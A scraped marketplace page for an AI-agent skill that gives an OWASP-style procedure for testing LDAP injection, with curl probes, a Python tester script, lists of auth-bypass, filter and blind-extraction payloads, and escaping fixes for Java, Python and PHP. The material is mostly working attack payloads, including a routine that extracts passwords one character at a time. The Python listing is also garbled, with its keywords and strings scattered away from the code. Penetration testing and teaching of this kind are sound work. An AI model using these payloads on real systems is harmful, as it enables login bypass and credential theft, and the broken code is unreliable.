Skip to main content Skills Marketplace コミュニティが作成したAIスキルを発見・探索
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-06コマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか?SkillsMP が現在取得できるファイルをダウンロードできます。
Zipをダウンロード ダウンロード中... name wstg-inpv-06 description Testing for LDAP Injection category input-validation owasp_id WSTG-INPV-06 version 1.0.0 author cyberstrike-official tags ["injection","input-validation","xss","sqli","wstg","inpv"] tech_stack ["ldap","activedirectory","openldap"] cwe_ids ["CWE-90"] chains_with ["wstg-athn-05","wstg-authz-02"] prerequisites ["wstg-info-06"] severity_boost {}
wstg-inpv-06
Test ID
WSTG-INPV-06
Test Name
Testing for LDAP Injection
High-Level Description
LDAP Injection occurs when user input is incorrectly filtered or not sanitized before being included in LDAP queries. Attackers can modify LDAP queries to bypass authentication, extract sensitive directory information, or modify directory data.
What to Check
How to Test
Step 1: Identify LDAP Injection Points
#!/bin/bash
TARGET="https://target.com/login"
echo "[*] Testing for LDAP injection..."
curl -s -X POST "$TARGET " -d "username=*&password=*"
curl -s -X POST "$TARGET " -d "username=admin*&password=*"
curl -s -X POST "$TARGET " -d "username=*)(uid=*))(|(uid=*&password=test"
curl -s -X POST "$TARGET " -d "username=*))&password=pwd"
curl -s -X POST "$TARGET " -d "username=admin)(&password=*"
Step 2: LDAP Injection Tester
"""
LDAP Injection Vulnerability Tester
"""
requests
re
:
( ):
.url = url
.findings = []
.session = requests.Session()
LDAP_ERRORS = [
,
,
,
,
,
,
,
,
,
,
,
]
PAYLOADS = {
: [
( , ),
( , ),
( , ),
( , ),
( , ),
( , ),
( , ),
],
: [
,
,
,
,
,
,
],
: [
,
,
,
],
}
( ):
( )
username, password .PAYLOADS[ ]:
:
response = .session.post(
.url,
data={ : username, : password}
)
pattern .LDAP_ERRORS:
re.search(pattern, response.text, re.IGNORECASE):
( )
.findings.append({
: ,
: ,
:
})
response.status_code == :
response.text.lower() \
response.text.lower() \
response.text.lower():
( )
( )
.findings.append({
: ,
: username,
:
})
Exception e:
( ):
( )
payload .PAYLOADS[ ]:
:
response = .session.get(
.url,
params={param: payload}
)
pattern .LDAP_ERRORS:
re.search(pattern, response.text, re.IGNORECASE):
( )
.findings.append({
: ,
: payload,
:
})
(response.text) > :
( )
Exception e:
( ):
( )
true_payload = ( , )
false_payload = ( , )
:
true_response = .session.post(
.url,
data={ : true_payload[ ], : true_payload[ ]}
)
false_response = .session.post(
.url,
data={ : false_payload[ ], : false_payload[ ]}
)
(true_response.text) != (false_response.text):
( )
( )
( )
.findings.append({
: ,
:
})
Exception e:
( ):
( )
charset =
extracted =
position ( , ):
found =
char charset:
payload =
:
response = .session.post(
.url,
data={ : payload, : }
)
response.text.lower():
extracted += char
found =
( )
Exception e:
found:
extracted:
( )
.findings.append({
: ,
: target_field,
: extracted,
:
})
( ):
( + * )
( )
( * )
.findings:
( )
:
f .findings:
( )
f:
( )
f:
( )
( ):
.test_auth_bypass()
.test_filter_injection()
.test_boolean_blind()
.generate_report()
tester = LDAPInjectionTester( )
tester.run_tests()
import
import
class
LDAPInjectionTester
def
__init__
self, url
self
self
self
r'Invalid DN syntax'
r'LDAP error'
r'javax\.naming\.NamingException'
r'javax\.naming\.directory'
r'LDAPException'
r'Bad search filter'
r'invalid filter'
r'unable to process search'
r'com\.sun\.jndi\.ldap'
r'ldap_search'
r'ldap_bind'
'auth_bypass'
"*"
"*"
"*)(uid=*))((uid=*"
"test"
"admin)(&)"
"pwd"
"*)(|(password=*)"
"test"
"admin)(|(password=*))"
"test"
"admin)(!(&(1=0"
"test"
"*))%00"
"*"
'filter_injection'
"*"
"*)(objectClass=*"
"*)(uid=*"
"admin*"
"admin)(cn=*"
"*)(|(objectClass=*))"
'dn_injection'
"admin,cn=Users,dc=test"
"admin)(&(objectClass=*"
"admin,ou=admins,dc=example,dc=com"
def
test_auth_bypass
self
"""Test LDAP authentication bypass"""
print
"\n[*] Testing LDAP authentication bypass..."
for
in
self
'auth_bypass'
try
self
self
'username'
'password'
for
in
self
if
print
f"[+] LDAP detected! Error in response"
self
'type'
'LDAP Error Disclosure'
'payload'
f"username={username} "
'severity'
'Medium'
if
200
if
'welcome'
in
or
'dashboard'
in
or
'logout'
in
print
f"[VULN] Authentication bypass!"
print
f" Username: {username} "
self
'type'
'LDAP Auth Bypass'
'username'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_filter_injection
self, param='search'
"""Test LDAP filter injection"""
print
"\n[*] Testing LDAP filter injection..."
for
in
self
'filter_injection'
try
self
self
for
in
self
if
print
f"[+] LDAP error with payload: {payload} "
self
'type'
'LDAP Filter Injection'
'payload'
'severity'
'High'
if
len
1000
print
f"[INFO] Large response with wildcard: {payload} "
except
as
pass
def
test_boolean_blind
self
"""Test boolean-based blind LDAP injection"""
print
"\n[*] Testing blind LDAP injection..."
"admin)(|(password=*)"
"*"
"admin)(|(password=invalidxxx)"
"*"
try
self
self
'username'
0
'password'
1
self
self
'username'
0
'password'
1
if
len
len
print
f"[VULN] Blind LDAP injection detected!"
print
f" True response: {len (true_response.text)} bytes"
print
f" False response: {len (false_response.text)} bytes"
self
'type'
'Blind LDAP Injection'
'severity'
'High'
return
True
except
as
pass
return
False
def
extract_data_blind
self, target_field='password'
"""Extract data via blind LDAP injection"""
print
f"\n[*] Attempting blind data extraction ({target_field} )..."
'abcdefghijklmnopqrstuvwxyz0123456789'
""
for
in
range
1
20
False
for
in
f"admin)({target_field} ={extracted} {char} *"
try
self
self
'username'
'password'
'*'
if
'welcome'
in
True
print
f" Found: {extracted} "
break
except
as
pass
if
not
break
if
print
f"[VULN] Extracted {target_field} : {extracted} "
self
'type'
'LDAP Data Extraction'
'field'
'value'
'severity'
'Critical'
def
generate_report
self
"""Generate findings report"""
print
"\n"
"="
60
print
"LDAP INJECTION REPORT"
print
"="
60
if
not
self
print
"\nNo LDAP injection vulnerabilities confirmed."
else
for
in
self
print
f"\n[{f['severity' ]} ] {f['type' ]} "
if
'payload'
in
print
f" Payload: {f['payload' ]} "
if
'username'
in
print
f" Username: {f['username' ]} "
def
run_tests
self
"""Run all LDAP injection tests"""
self
self
self
self
"https://target.com/login"
Step 3: LDAP Injection Payloads # Authentication Bypass Payloads
*
*)(&
*))%00
admin)(&)
admin)(!(&(1=0
*()|%26'
admin))(|(objectClass=*)
*)(uid=*))(|(uid=*
# Filter Injection
*)(objectClass=*
*)(uid=*
admin*
*)(|(objectClass=user)(objectClass=person))
# Data Extraction (Blind)
admin)(password=a*
admin)(password=b*
admin)(password=c*
# Continue character by character
# OR Injection
*)(|(mail=*
admin)(|(password=*))
# AND Injection
admin)(&(objectClass=user))
# DN Injection (Distinguished Name)
admin,ou=users,dc=company,dc=com
cn=admin,dc=example)(&(objectClass=*
Step 4: LDAP Query Structure # Standard LDAP Filter Syntax
(&(uid=admin)(password=secret))
# Vulnerable query construction:
# "(&(uid=" + username + ")(password=" + password + "))"
# With injection username = "*)(uid=*))(|(uid=*"
# Results in: (&(uid=*)(uid=*))(|(uid=*)(password=test))
# The )(uid=*) closes the original filter and adds always-true condition
# OR injection for bypass:
# username = "*)(|(password=*"
# Results in: (&(uid=*)(|(password=*)(password=test))
Tools Tool Purpose Burp Suite Manual testing ldapsearch LDAP client Apache Directory Studio LDAP browser Custom scripts Automated testing
Remediation
import javax.naming.directory.*;
String filter = "(&(uid=" + username + ")(password=" + password + "))" ;
import javax.naming.ldap.Rdn;
String escapedUsername = Rdn.escapeValue(username);
String escapedPassword = Rdn.escapeValue(password);
String filter = "(&(uid=" + escapedUsername + ")(password=" + escapedPassword + "))" ;
import ldap
from ldap.filter import escape_filter_chars
username = escape_filter_chars(user_input)
filter_str = f"(&(uid={username} )(objectClass=person))"
<?php
$safe_username = ldap_escape ($username , '' , LDAP_ESCAPE_FILTER);
$filter = "(&(uid=$safe_username )(objectClass=user))" ;
?>
Risk Assessment Finding CVSS Severity LDAP authentication bypass 9.8 Critical LDAP data extraction 7.5 High LDAP filter injection 7.5 High LDAP error disclosure 4.3 Medium
CWE Categories CWE ID Title CWE-90 Improper Neutralization of Special Elements used in an LDAP Query
References
Checklist [ ] LDAP authentication tested
[ ] Filter injection tested
[ ] Blind injection tested
[ ] Special characters tested
[ ] Error messages analyzed
[ ] Data extraction attempted
[ ] Findings documented